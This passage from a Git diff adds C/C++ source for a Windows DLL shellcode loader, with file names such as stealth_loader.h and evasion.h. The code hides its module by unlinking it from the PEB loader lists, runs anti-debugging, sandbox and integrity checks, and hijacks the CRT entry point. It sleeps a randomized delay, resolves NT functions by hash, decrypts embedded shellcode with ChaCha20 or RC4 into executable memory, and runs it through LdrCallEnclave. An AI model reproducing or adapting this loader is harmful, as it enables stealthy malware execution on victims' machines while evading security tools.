checksum += *((BYTE*)base + section->VirtualAddress + j);
|
||||
}
|
||||
break;
|
||||
}
|
||||
section++;
|
||||
}
|
||||
|
||||
if (checksum < 1000) ExitProcess(0);
|
||||
}
|
||||
|
||||
BOOL is_safe_environment() {
|
||||
advanced_anti_debug();
|
||||
integrity_checks();
|
||||
|
||||
if (detect_sandbox()) return FALSE;
|
||||
|
||||
__try {
|
||||
__debugbreak();
|
||||
return FALSE;
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void hide_module(HMODULE hModule) {
|
||||
PPEB pPeb = (PPEB)__readgsqword(0x60);
|
||||
|
||||
#ifdef _WIN64
|
||||
PPEB_LDR_DATA pLdr = pPeb->Ldr;
|
||||
#else
|
||||
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
|
||||
#endif
|
||||
|
||||
// unlink module from PEB
|
||||
for (PLIST_ENTRY pEntry = pLdr->InLoadOrderModuleList.Flink;
|
||||
pEntry != &pLdr->InLoadOrderModuleList;
|
||||
pEntry = pEntry->Flink) {
|
||||
|
||||
PLDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
|
||||
|
||||
if (pModule->DllBase == hModule) {
|
||||
pModule->InLoadOrderLinks.Blink->Flink = pModule->InLoadOrderLinks.Flink;
|
||||
pModule->InLoadOrderLinks.Flink->Blink = pModule->InLoadOrderLinks.Blink;
|
||||
|
||||
pModule->InMemoryOrderLinks.Blink->Flink = pModule->InMemoryOrderLinks.Flink;
|
||||
pModule->InMemoryOrderLinks.Flink->Blink = pModule->InMemoryOrderLinks.Blink;
|
||||
|
||||
pModule->InInitializationOrderLinks.Blink->Flink = pModule->InInitializationOrderLinks.Flink;
|
||||
pModule->InInitializationOrderLinks.Flink->Blink = pModule->InInitializationOrderLinks.Blink;
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
#include "stealth_loader.h"
|
||||
#include "evasion.h"
|
||||
#include "memory.h"
|
||||
#include "crypto.h"
|
||||
#include "api_resolver.h"
|
||||
|
||||
extern "C" void __scrt_common_main_seh() {
|
||||
// execution is hijacked before winmain or any CRT init
|
||||
hijack_entry_point();
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
|
||||
hide_module(hModule);
|
||||
|
||||
execute_junk_calculations();
|
||||
|
||||
if (!is_safe_environment()) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD delay = 30000 + (GetCurrentProcessId() % 7) * 1500;
|
||||
delay += (GetTickCount() % 5000);
|
||||
Sleep(delay);
|
||||
|
||||
execute_junk_calculations();
|
||||
|
||||
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execute_payload, NULL, 0, NULL);
|
||||
if (hThread) {
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
execute_junk_calculations();
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
extern "C" __declspec(dllexport) void dummy_export() {
|
||||
execute_junk_calculations();
|
||||
}
|
||||
+140
@@ -0,0 +1,140 @@
|
||||
#include "memory.h"
|
||||
#include "stealth_loader.h"
|
||||
#include "evasion.h"
|
||||
#include "crypto.h"
|
||||
#include "api_resolver.h"
|
||||
|
||||
PVOID find_memory_region(size_t size) {
|
||||
SYSTEM_INFO sysInfo;
|
||||
GetSystemInfo(&sysInfo);
|
||||
|
||||
PBYTE base = (PBYTE)sysInfo.lpMinimumApplicationAddress;
|
||||
base += (GetCurrentProcessId() * 0x1000) % (SIZE_T)(sysInfo.lpMaximumApplicationAddress - sysInfo.lpMinimumApplicationAddress);
|
||||
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
SIZE_T querySize;
|
||||
|
||||
for (PBYTE addr = base; addr < sysInfo.lpMaximumApplicationAddress; addr += mbi.RegionSize) {
|
||||
querySize = VirtualQuery(addr, &mbi, sizeof(mbi));
|
||||
if (querySize == 0) break;
|
||||
|
||||
if (mbi.State == MEM_COMMIT &&
|
||||
(mbi.Protect & PAGE_EXECUTE_READ) &&
|
||||
mbi.RegionSize >= size) {
|
||||
return mbi.BaseAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HMODULE load_tprtdll() {
|
||||
HMODULE hTprt = GetModuleHandleW(L"tprtdll.dll");
|
||||
if (hTprt) return hTprt;
|
||||
|
||||
hTprt = LoadLibraryExW(L"tprtdll.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||
if (hTprt) return hTprt;
|
||||
|
||||
wchar_t systemDir[MAX_PATH];
|
||||
GetSystemDirectoryW(systemDir, MAX_PATH);
|
||||
wcscat_s(systemDir, MAX_PATH, L"\\tprtdll.dll");
|
||||
|
||||
hTprt = LoadLibraryExW(systemDir, NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||
if (hTprt) return hTprt;
|
||||
|
||||
hTprt = LoadLibraryW(L"tprtdll.dll");
|
||||
|
||||
return hTprt;
|
||||
}
|
||||
|
||||
void execute_payload() {
|
||||
if (!is_safe_environment()) {
|
||||
return;
|
||||
}
|
||||
|
||||
HMODULE hTprt = load_tprtdll();
|
||||
if (!hTprt) {
|
||||
hTprt = GetModuleHandleA("ntdll.dll");
|
||||
}
|
||||
|
||||
if (!hTprt) return;
|
||||
|
||||
_NtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx =
|
||||
(_NtAllocateVirtualMemoryEx)get_function_by_hash(hTprt, compute_custom_hash("NtAllocateVirtualMemoryEx"));
|
||||
_NtProtectVirtualMemory NtProtectVirtualMemory =
|
||||
(_NtProtectVirtualMemory)get_function_by_hash(hTprt, compute_custom_hash("NtProtectVirtualMemory"));
|
||||
|
||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
||||
_LdrCallEnclave LdrCallEnclave =
|
||||
(_LdrCallEnclave)get_function_by_hash(ntdll, compute_custom_hash("LdrCallEnclave"));
|
||||
|
||||
if (!NtAllocateVirtualMemoryEx || !NtProtectVirtualMemory || !LdrCallEnclave) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Use enhanced ChaCha20 encryption instead of RC4
|
||||
BYTE derived_key[32];
|
||||
BYTE nonce[12];
|
||||
if (!derive_encryption_key_chacha(derived_key, sizeof(derived_key), nonce, sizeof(nonce))) {
|
||||
// Fallback to RC4 if ChaCha20 fails
|
||||
if (!derive_encryption_key(derived_key, sizeof(derived_key))) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
PVOID shellcode_addr = find_memory_region(encrypted_shellcode_size);
|
||||
BOOL allocated = FALSE;
|
||||
|
||||
if (!shellcode_addr) {
|
||||
SIZE_T region_size = encrypted_shellcode_size;
|
||||
NTSTATUS status = NtAllocateVirtualMemoryEx(
|
||||
GetCurrentProcess(),
|
||||
&shellcode_addr,
|
||||
®ion_size,
|
||||
MEM_RESERVE | MEM_COMMIT,
|
||||
PAGE_READWRITE,
|
||||
NULL,
|
||||
0
|
||||
);
|
||||
|
||||
if (status != 0) {
|
||||
return;
|
||||
}
|
||||
allocated = TRUE;
|
||||
}
|
||||
|
||||
memcpy(shellcode_addr, encrypted_shellcode, encrypted_shellcode_size);
|
||||
|
||||
// Use ChaCha20 if available, otherwise fallback to RC4
|
||||
if (derive_encryption_key_chacha(derived_key, sizeof(derived_key), nonce, sizeof(nonce))) {
|
||||
chacha20_cryptography((PBYTE)shellcode_addr, encrypted_shellcode_size, derived_key, sizeof(derived_key), nonce);
|
||||
} else {
|
||||
rc4_cryptography((PBYTE)shellcode_addr, encrypted_shellcode_size, derived_key, sizeof(derived_key));
|
||||
}
|
||||
|
||||
if (allocated) {
|
||||
SIZE_T region_size = encrypted_shellcode_size;
|
||||
ULONG old_protect;
|
||||
NTSTATUS status = NtProtectVirtualMemory(
|
||||
GetCurrentProcess(),
|
||||
&shellcode_addr,
|
||||
®ion_size,
|
||||
PAGE_EXECUTE_READ,
|
||||
&old_protect
|
||||
);
|
||||
|
||||
if (status != 0) {
|
||||
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
FlushInstructionCache(GetCurrentProcess(), shellcode_addr, encrypted_shellcode_size);
|
||||
|
||||
PVOID dummy_param = NULL;
|
||||
LdrCallEnclave((PENCLAVE_ROUTINE)shellcode_addr, 0, &dummy_param);
|
||||
|
||||
if (allocated) {
|
||||
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user